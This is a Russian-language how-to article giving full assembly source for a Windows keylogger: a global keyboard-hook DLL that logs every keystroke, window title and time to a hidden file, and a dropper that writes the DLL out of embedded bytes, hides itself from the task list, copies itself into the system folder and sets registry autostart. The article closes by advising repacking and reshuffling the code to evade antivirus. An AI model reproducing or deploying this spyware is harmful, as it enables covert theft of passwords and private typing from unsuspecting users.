Написать клавиатурный шпион. Все не так сложно как кажется, хотя и есть некоторые грабли. Существует, как минимум, два пути решения этой задачи :

1) in al, 60h - получение данных из порта клавиатуры. После выполнения в al будет находиться код последней нажатой клавиши. Если меньше 127, то нажата, если больше 127 - отжата. Теперь можно описать процесс постоянного вызова получения значения из порта и обработку этого значения. Для того, чтобы не сильно загружать систему, необходимо вставить "Sleep, n". Недостатки этого метода: в таком виде не будет работать под WinNT и, в зависимости от величины "n", будет или сильно загружать систему, или не успевать отлавливать нажатия некоторых клавиш.

2) SetWindowsHookEx - установка hook-а на нажатие клавиш. Синтаксис этой функции такой:
HHOOK SetWindowsHookEx(
int idHook, // тип hook-а
HOOKPROC lpfn, // адрес процедуры обработки
HINSTANCE hMod, // handle приложения
DWORD dwThreadId // идентификатор thread-а для обработки

Проблема вот в чем: для установки hook-а для всех процессов в системе, процедура обработки должна находиться в дополнительной DLL. Проблема решаема - весь текст дополнительной библиотеки объявляем как строки в основной программе и при запуске приложения записываем эту строки в файл - дополнительную DLL. Для реализации этого способа берем MASM v.4 - размер дополнительной DLL и исполняемого файла будет относительно невелик. Можно писать на любом асме, С или Delphi - используются функций WinAPI и перенос на другой язык не займет много времени. Функция SetWindowsHookEx имеет одну особенность - (сейчас выражусь не совсем правильно, зато более-менее понятно) она грузит новый экземпляр дополнительной DLL на каждое активное приложение. Если мы в библиотеке зарезервировали строку, при нажатии клавиши добавляем в нее значение, и активными были пять win-приложений, то в памяти будет находится 5 строк. Для сохранения в файл полученной информации, нужно "обрабатывать" точку выгрузки нашей DLL. Для дальнейшего чтения этой статьи необходимо хотя бы минимальное знание ассемблера. В противном случае можно взять готовую программу с http://www.danil.dp.ua/.

Вот исходники дополнительной DLL ("ks000.asm"):

.386
.model flat, stdcall
option casemap :none
; ====
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
; Объявляем процедуру сохранения в файл
DksKeySave PROTO
; Константы и переменные
.data
Hook2 dd ?
Flash0 db 13,10,0
DopK db 50 dup(?)
LstKey db 50 dup(?)
BufKey db 1500 dup(?) ; строка-буфер
BufKey0 db 1000 dup(?) ; строка-буфер для записи в файл
BufKey1 db 1500 dup(?)
BufKey2 db 1000 dup(?)
BoolKey dd ?
LenKey1 dd ?
LenKey2 dd ?
NilStr db " ",0
DateStr1 db "dd.MM.yyyy",0
DateStr2 db "hh : mm : ss",0
DateStr3 db " ",0
DopStr1 db "Write in file ",0
DopStr2 db "----",0
DopStr3 db " Active: ",0
RegValue2 db "ks000log.txt" ,0
CommandStr3 db 1024 dup (?)
Flash1 db "\",0
cmd1 dd ?
; Раздел кода
.code
LibMain proc hInstDLL:DWORD, reason:DWORD, unused:DWORD
; Загрузка DLL
.IF reason == DLL_PROCESS_ATTACH
; определим путь к log-файлу
invoke GetSystemDirectory , addr CommandStr3, sizeof CommandStr3
invoke rtrim, addr CommandStr3, addr CommandStr3
invoke lstrcat,addr CommandStr3,addr Flash1
;файл для записи - "\ks000log.txt"
invoke lstrcat, addr CommandStr3, addr RegValue2
; обнулим дополнительные переменные
mov LenKey1,0 ; счетчик строки
mov LenKey2,0 ; счетчик периодической выгрузки в файл
mov BoolKey,0 ; топталась ли клава в этом приложении
mov eax, TRUE
ret
; Выгрузка DLL
.ELSEIF reason == DLL_PROCESS_DETACH
; Если клавиши были нажаты - запись в файл
.IF (BoolKey != 0)
invoke lstrcpy, addr BufKey1, addr BufKey
invoke DksKeySave ; моя проца записи в файл
.ENDIF
.ENDIF
ret
LibMain Endp
; ====
; процедура обработки
DksKeyProc proc nCode0: DWORD, wParam0: WPARAM, lParam0: LPARAM
.IF nCode0 == HC_ACTION
mov eax, lParam0
shr eax,16
and eax, KF_UP
.IF (eax == 0) ; если была нажата клавиша и
mov BoolKey,1 ; можно обработать
.IF LenKey2 == 0 ; Если нажата первая клавиша
; Получение заголовка активного приложения, даты и времени
invoke GetForegroundWindow
.IF eax != 0
invoke SendMessage, eax, WM_GETTEXT, 1024, addr BufKey2
.ENDIF
invoke GetDateFormat, NULL, NULL, NULL, addr DateStr1, addr BufKey0, sizeof BufKey0
invoke lstrcpy, addr BufKey, addr BufKey0
invoke lstrcat, addr BufKey, addr DateStr3
invoke GetTimeFormat, NULL, TIME_FORCE24HOURFORMAT, NULL, addr DateStr2, addr BufKey0, sizeof BufKey0
invoke lstrcat, addr BufKey, addr BufKey0
invoke lstrcat, addr BufKey, addr DateStr3
invoke lstrcat, addr BufKey, addr DopStr3
invoke lstrcat, addr BufKey, addr BufKey2
invoke lstrcat, addr BufKey, addr Flash0
invoke lstrlen, addr BufKey
mov LenKey2, eax
.ENDIF
; преобразование в строку
invoke GetKeyNameText, lParam0, addr DopK, sizeof DopK
invoke lstrcpy, addr LstKey, addr DopK
invoke lstrcat, addr BufKey, addr DopK ; Добавление в строку-буфер
invoke lstrcat, addr BufKey, addr DateStr3
invoke lstrlen, addr DopK
add LenKey1, eax ; счетчик строки
add LenKey1, 3
; если больше 100 - перенос строки
.IF LenKey1 >=100
invoke lstrcat, addr BufKey, addr Flash0
mov eax, LenKey1
add LenKey2, eax ; счетчик выгрузки в файл
mov LenKey1,0
.ENDIF
; если больше 1000 - запись в файл
.IF LenKey2 >=1000
invoke lstrcpy, addr BufKey1, addr BufKey
mov LenKey1,0
mov LenKey2,0
invoke DksKeySave ; моя проца записи в файл
.ENDIF
mov eax,0
ret
.ENDIF
.ENDIF
invoke CallNextHookEx, Hook2 ,nCode0, wParam0, lParam0
ret
DksKeyProc endp
; ====
; моя проца записи в файл
DksKeySave proc
; получения времени сброса в файл
invoke lstrcat, addr BufKey1, addr Flash0
invoke lstrcat, addr BufKey1, addr DopStr1
invoke GetDateFormat, NULL, NULL, NULL, addr DateStr1, addr BufKey0, sizeof BufKey0
invoke lstrcat, addr BufKey1, addr BufKey0
invoke lstrcat, addr BufKey1, addr DateStr3
invoke GetTimeFormat, NULL, TIME_FORCE24HOURFORMAT, NULL, addr DateStr2, addr BufKey0, sizeof BufKey0
invoke lstrcat, addr BufKey1, addr BufKey0
invoke lstrcat, addr BufKey1, addr Flash0
invoke lstrcat, addr BufKey1, addr DopStr2
invoke lstrcat, addr BufKey1, addr Flash0
invoke lstrcat, addr BufKey1, addr Flash0
;файл для записи - "\ks000log.txt"
invoke _lopen, addr CommandStr3, OF_WRITE
mov cmd1,eax
.IF eax == 4294967295
;если не удалось открыть - создадим
invoke _lcreat, addr CommandStr3, 4
mov cmd1,eax
.ELSE
;если открыли - перейдем в конец
invoke _llseek, cmd1, 0, FILE_END
.ENDIF
.IF cmd1 != 4294967295
invoke lstrlen, addr BufKey1
invoke _lwrite, cmd1, addr BufKey1, eax ;запись в файл
invoke _lclose, cmd1 ;закрыть файл
.ENDIF
ret
DksKeySave endp
End LibMain

В том же каталоге создадим файл "ks000.def" с текстом:

LIBRARY ks000
EXPORTS DksKeyProc

и файл компиляции нашей DLL "1.bat":

@echo off
if exist ks000.obj del ks000.obj
if exist ks000.dll del ks000.dll
\masm32\bin\ml /c /coff ks000.asm
\masm32\bin\Link /SUBSYSTEM:WINDOWS /DLL /DEF:ks000.def ks000.obj
dir ks000.*
pause

Запускаем "1.bat" и, если все исполнено правильно, то у нас появится файл "ks000.dll" - дополнительная библиотека. DLL можно сжать. У меня после сжатия ASpack-ом получилось 8704. Для того, чтобы поместить весь код DLL в главный файл, необходимо разбить DLL на строки. Теперь пишем небольшую дополнительную прогу, которая преобразует нашу DLL в строки с кодами символов, разделенных запятыми. Написание такой программы не составит особого труда. Если что, то исходники, текст дополнительной проги (под delphi - облом было возиться с асмом), ее саму и 2 текстовых файла-шаблона для вставки в ассемблерный код можно найти на wwwdanil.dp.ua/dks_src.zip. Теперь необходимо описать саму программу клавиатурного шпиона.

Вот исходники нашей проги ("dks10.asm"):

.486
.model flat,stdcall
option casemap:none
include \masm32\include\winmm.inc
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\advapi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\winmm.lib
; Процедура обработки оконных сообщений
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
; Раздел констант и переменных
.DATA
DLLstr0 db 77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0
DLLstr1 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
DLLstr2 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 200, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 0
DLLstr3 db 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 0
DLLstr4 db 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0
DLLstr5 db 0, 0, 0, 105, 150, 211, 219, 45, 247, 189, 136, 45, 247, 189, 136, 45, 247, 189, 136, 45, 247, 189, 136, 57, 247, 0

; SKIP
; Здесь находятся остальные строки-константы кода нашей DLL
; SKIP

DLLstr345 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
DLLstr346 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
DLLstr347 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
DLLstr348 db 0, 0, 0, 0, 0
ErrorStr db "Ошибка при вызове DLL.",13,10,0
ErrorStr1 db "Ошибка записи в реестр. Программа не будет стартовать вместе с Windows.",13,10,0
kernel32 db "kernel32.dll", 0
func db "RegisterServiceProcess", 0
AutoKeyName db "Software\Microsoft\Windows\CurrentVersion\Run\",0
AutoRegValue db "systemks",0
AutoRegValue1 db "ks000.exe" ,0
RegValue db "ks000.dll" ,0
RegValue1 db "ks000log.txt" ,0
Flash db "\",0
AppName db "systemks",0
ClassName db "DksClass",0
IconName db "TksIcon",0
funcKEY db "DksKeyProc",0

.DATA?
hInstance dd ?
CommandLine dd ?
pKey dd ?
dll0 dd ?
dll1 dd ?
cmd dd ?
Hook1 dd ?
DW_SIZE EQU 4
DWordSize dd ?
Temp dd ?
WinDir db 900 dup(?)
CommandStr1 db 1024 dup(?)
CommandStr2 db 1024 dup(?)
CommandStr3 db 1024 dup(?)
; Раздел кода
.CODE
start:
; Если прога уже запущена - выход
invoke FindWindow,0,addr AppName
cmp eax,0
jnz quit
mov dll0,0
mov Hook1,0
; Скрываем по Alt+Ctrl+Del
invoke GetModuleHandle, ADDR kernel32
or eax,eax
jz continue
invoke GetProcAddress, eax, ADDR func
or eax, eax
jz continue
push 1
push 0
call eax
continue:
; Объявляем пути к файлам проги
invoke GetSystemDirectory , addr WinDir, sizeof WinDir
invoke lstrcat,addr WinDir,addr Flash
invoke lstrcpy, addr CommandStr2, addr WinDir
;файл для записи - "\ks000log.txt"
invoke lstrcat, addr CommandStr2, addr RegValue1
invoke lstrcpy, addr CommandStr3, addr WinDir
; дополнительная DLL - "\ks000.dll"
invoke lstrcat, addr CommandStr3, addr RegValue
; Автозапуск пишем в реестр
invoke RegCreateKey, HKEY_LOCAL_MACHINE,addr AutoKeyName, addr pKey
.IF eax == 0
invoke RegSetValueEx, pKey, addr AutoRegValue, NULL, REG_SZ, addr AutoRegValue1, sizeof AutoRegValue1
.IF (eax != 0)
; Если неудача - сообщаем в log-файл
invoke _lopen, addr CommandStr2, OF_WRITE
mov cmd,eax
.IF eax == 4294967295
invoke _lcreat, addr CommandStr2, 4
mov cmd,eax
.ELSE
invoke _llseek, cmd, 0, FILE_END
.ENDIF
.IF cmd != 4294967295
invoke _lwrite, cmd, addr ErrorStr1, sizeof ErrorStr1
invoke _lclose, cmd
.ENDIF
.ENDIF
.ELSE
; Если неудача - сообщаем в log-файл
invoke _lopen, addr CommandStr2, OF_WRITE
mov cmd,eax
.IF eax == 4294967295
invoke _lcreat, addr CommandStr2, 4
mov cmd,eax
.ELSE
invoke _llseek, cmd, 0, FILE_END
.ENDIF
.IF cmd != 4294967295
invoke _lwrite, cmd, addr ErrorStr1, sizeof ErrorStr1
invoke _lclose, cmd
.ENDIF
.ENDIF
invoke RegCloseKey, pKey
; Копируем программу в "\ks000.exe"
invoke lstrcat,addr WinDir,addr AutoRegValue1
invoke GetModuleFileName,NULL,addr CommandStr1,sizeof CommandStr1
invoke CopyFile,addr CommandStr1,addr WinDir,FALSE
; Создаем дополнительную DLL в "\ks000.dll"
invoke _lcreat, addr CommandStr3, 0
mov cmd,eax
.IF cmd != 4294967295
invoke _lwrite, cmd, addr DLLstr0, 25
invoke _lwrite, cmd, addr DLLstr1, 25
invoke _lwrite, cmd, addr DLLstr2, 25
invoke _lwrite, cmd, addr DLLstr3, 25
invoke _lwrite, cmd, addr DLLstr4, 25
invoke _lwrite, cmd, addr DLLstr5, 25

; SKIP
; Здесь находится код записи остальных строк-констант в нашу DLL
; SKIP

invoke _lwrite, cmd, addr DLLstr345, 25
invoke _lwrite, cmd, addr DLLstr346, 25
invoke _lwrite, cmd, addr DLLstr347, 25
invoke _lwrite, cmd, addr DLLstr348, 4
invoke _lclose, cmd
.ENDIF
; Инициализация
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
quit: invoke ExitProcess,eax
;----
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
; Локальные переменные
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
LOCAL Ver: OSVERSIONINFO
; Создаем окно программы
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,hInstance,addr IconName
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,WS_OVERLAPPEDWINDOW,500,400,100,50,NULL,NULL,hInst,NULL
mov hwnd,eax
; Для отладки окно можно показать
;invoke ShowWindow, hwnd,SW_SHOWNORMAL
;invoke UpdateWindow, hwnd
; Обработка сообщений
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp
; ----
; Обработка сообщений
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
; Если окно создается
.IF uMsg == WM_CREATE
; Грузим дополнительную DLL
invoke LoadLibrary, addr RegValue
mov dll0,eax
.IF (dll0 ==0)
; Если неудача - сообщаем в log-файл
invoke _lopen, addr CommandStr2, OF_WRITE
mov cmd,eax
.IF eax == 4294967295
invoke _lcreat, addr CommandStr2, 4
mov cmd,eax
.ELSE
invoke _llseek, cmd, 0, FILE_END
.ENDIF
.IF cmd != 4294967295
invoke _lwrite, cmd, addr ErrorStr, sizeof ErrorStr
invoke _lclose, cmd
.ENDIF
; Выход
invoke PostQuitMessage,NULL
xor eax,eax
ret
.ELSE
; Получаем адрес процедуры обработки
invoke GetProcAddress, dll0, addr funcKEY
mov dll1,eax
.IF (dll1 ==0)
; Если неудача - сообщаем в log-файл
invoke _lopen, addr CommandStr2, OF_WRITE
mov cmd,eax
.IF eax == 4294967295
invoke _lcreat, addr CommandStr2, 4
mov cmd,eax
.ELSE
invoke _llseek, cmd, 0, FILE_END
.ENDIF
.IF cmd != 4294967295
invoke _lwrite, cmd, addr ErrorStr, sizeof ErrorStr
invoke _lclose, cmd
.ENDIF
; Выход
invoke PostQuitMessage,NULL
xor eax,eax
ret
.ELSE
; Устанавливаем hook
invoke SetWindowsHookEx, WH_KEYBOARD, dll1, dll0, 0
mov Hook1, eax
.IF (Hook1 == 0)
; Если неудача - сообщаем в log-файл
invoke _lopen, addr CommandStr2, OF_WRITE
mov cmd,eax
.IF eax == 4294967295
invoke _lcreat, addr CommandStr2, 4
mov cmd,eax
.ELSE
invoke _llseek, cmd, 0, FILE_END
.ENDIF
.IF cmd != 4294967295
invoke _lwrite, cmd, addr ErrorStr, sizeof ErrorStr
invoke _lclose, cmd
.ENDIF
; Выход
invoke PostQuitMessage,NULL
xor eax,eax
ret
.ENDIF
.ENDIF
.ENDIF
; Если выход из проги - убираем hook
.ELSEIF uMsg == WM_DESTROY
invoke FreeLibrary, dll0
invoke UnhookWindowsHookEx, Hook1
invoke PostQuitMessage,NULL
xor eax,eax
ret
.ELSEIF
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
;----
END start

После компиляции exe-файл можно сжать ASpack-ом. Пару слов о том как это все работает. При запуске программы она записывает в реестр параметр "systemks" со значением "ks000.exe" в ключе "HKLM/SoftWare/Microsoft/Windows/Current Version/Run" - для старта вместе с m$ window$. ВНИМАНИЕ! Если система - WinNT, и пользователь - не администратор, то облом. Потом переписывает себя в каталог , создает из строк-констант дополнительную DLL "ks000.dll" (в процессе отладки необходимо проверить тождественность 2 файлов), подгружает ее и вызывает SetWindowsHookEx. При работе программы происходит разбитие буфера накопления информации о нажатых клавишах на строки, длиной около 100 символов, и сброс в файл "\ks000log.txt" по достижении размера буфера 1000 символов или выгрузки DLL (атрибут файла - системный, из проводника не виден).

В приведенной выше программе есть недостатки: она не понимает разницу большие/маленькие буквы (хотя является многоязычной) и не отслеживает повторения ("Shift", "Alt", "Ctrl" и т.п.). Все это можно дописать в процедуре обработки. На сях или delphi это делается элементарно.

Теперь об антивирах. Пока данная конструкция известными мне антивирусными пакетами не определяется. Но при возникновении проблем такого рода, выход достаточно прост - перетасовать исходники, сжать каким-нибудь XXpack-ом и т.д. и т.п.